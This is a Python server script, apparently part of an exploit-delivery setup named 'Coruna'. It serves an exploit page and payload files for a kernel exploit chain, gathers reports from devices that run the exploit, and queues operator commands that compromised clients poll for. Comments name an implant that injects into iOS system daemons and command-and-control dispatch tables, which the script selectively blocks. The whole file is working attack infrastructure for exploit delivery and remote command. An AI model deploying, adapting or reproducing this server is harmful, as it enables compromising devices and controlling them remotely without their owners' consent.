#!/usr/bin/env python3
"""Custom HTTP server for Coruna exploit + post-exploit command interface."""

import http.server
import json
import os
import sys
import threading
import time
from datetime import datetime

REPORTS = []
PENDING_CMD = None
CMD_LOCK = threading.Lock()


SELECTIVE_PE = True  # selective payload filtering (block PLASMAGRID, allow kernel PE)

# type 0x0f = PLASMAGRID implant (injects into powerd, keybagd, locationd etc.)
# type 0x07 468B = C2 JS dispatch table (connects to external developer servers)
# Everything else (0x08, 0x09, 0x05, 0x0a, 0x07 49B, raw.bin) = kernel exploit chain

BLOCKED_TYPES = {'0x0f'}
C2_DISPATCH_MIN_SIZE = 100  # type 0x07 files > 100B are C2 dispatch tables

class Handler(http.server.SimpleHTTPRequestHandler):

    def log_message(self, fmt, *args):
        ts = datetime.now().strftime('%H:%M:%S')
        sys.stderr.write(f"[{ts}] {fmt % args}\n")

    def _cors(self):
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')

    def end_headers(self):
        p = getattr(self, 'path', '') or ''
        p = p.split('?')[0]
        if p.endswith(('.html', '.js', '.json')):
            self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')
            self.send_header('Pragma', 'no-cache')
            self.send_header('Expires', '0')
        self._cors()
        super().end_headers()

    def do_OPTIONS(self):
        self.send_response(200)
        self._cors()
        self.end_headers()

    def _should_block_payload(self, url_path):
        """Selective payload filter: block PLASMAGRID + C2 dispatch, allow kernel exploit."""
        p = url_path.split('?')[0]
        if '/payloads/' not in p:
            return False
        tail = p.split('/payloads/')[-1]
        parts = tail.split('/')
        if len(parts) < 2:
            return False
        fname = parts[-1]

        for btype in BLOCKED_TYPES:
            if f'type{btype}' in fname:
                return True

        if 'type0x07' in fname:
            local = os.path.join('payloads', *parts)
            try:
                sz = os.path.getsize(local)
                if sz >= C2_DISPATCH_MIN_SIZE:
                    return True
            except OSError:
                pass

        return False

    def do_GET(self):
        if self.path == '/custom_cmd':
            return self._handle_cmd_poll()
        if self.path == '/reports':
            return self._handle_reports()

        if SELECTIVE_PE and self._should_block_payload(self.path):
            p = self.path.split('?')[0]
            print(f"[BLOCK] Blocked payload: {p}", flush=True)
            self.send_response(404)
            self._cors()
            self.end_headers()
            return

        if SELECTIVE_PE and '/payloads/' in self.path:
            p = self.path.split('?')[0]
            print(f"[ALLOW] Serving payload: {p}", flush=True)

        return super().do_GET()

    def do_POST(self):
        if self.path == '/custom_report':
            return self._handle_report()
        if self.path == '/probe_report':
            return self._handle_report()
        if self.path.startswith('/send_cmd'):
            return self._handle_send_cmd()
        self.send_response(404)
        self.end_headers()

    def _handle_report(self):
        global REPORTS
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        try:
            data = json.loads(body)
        except Exception:
            data = {'raw': body.decode('utf-8', errors='replace')[:2000]}

        ts = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        entry = {'ts': ts, 'data': data}
        REPORTS.append(entry)

        phase = data.get('phase', '?')
        preview = json.dumps(data, ensure_ascii=False)[:300]
        print(f"\n{'='*60}")
        print(f"[REPORT phase={phase}] {ts}")
        print(preview)
        print(f"{'='*60}\n", flush=True)

        self.send_response(200)
        self._cors()
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{"ok":true}')

    def _handle_cmd_poll(self):
        global PENDING_CMD
        with CMD_LOCK:
            cmd = PENDING_CMD
            PENDING_CMD = None

        self.send_response(200)
        self._cors()
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        if cmd:
            self.wfile.write(json.dumps(cmd).encode())
        else:
            self.wfile.write(b'{}')

    def _handle_send_cmd(self):
        global PENDING_CMD
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        try:
            cmd = json.loads(body)
        except Exception:
            cmd = None

        if cmd:
            with CMD_LOCK:
                PENDING_CMD = cmd
            print(f"[CMD] Queued: {json.dumps(cmd)}", flush=True)

        self.send_response(200)
        self._cors()
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{"ok":true}')

    def _handle_reports(self):
        self.send_response(200)
        self._cors()
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(REPORTS, ensure_ascii=False, indent=2).encode())


def main():
    port = int(os.environ.get('PORT', 80))
    os.chdir(os.path.dirname(os.path.abspath(__file__)) or '.')
    server = http.server.HTTPServer(('0.0.0.0', port), Handler)
    print(f"Coruna custom server on :{port}", flush=True)
    print(f"  exploit  → http://0.0.0.0:{port}/group.html", flush=True)
    print(f"  reports  → http://0.0.0.0:{port}/reports", flush=True)
    print(f"  send cmd → POST http://0.0.0.0:{port}/send_cmd", flush=True)
    server.serve_forever()


if __name__ == '__main__':
    main()
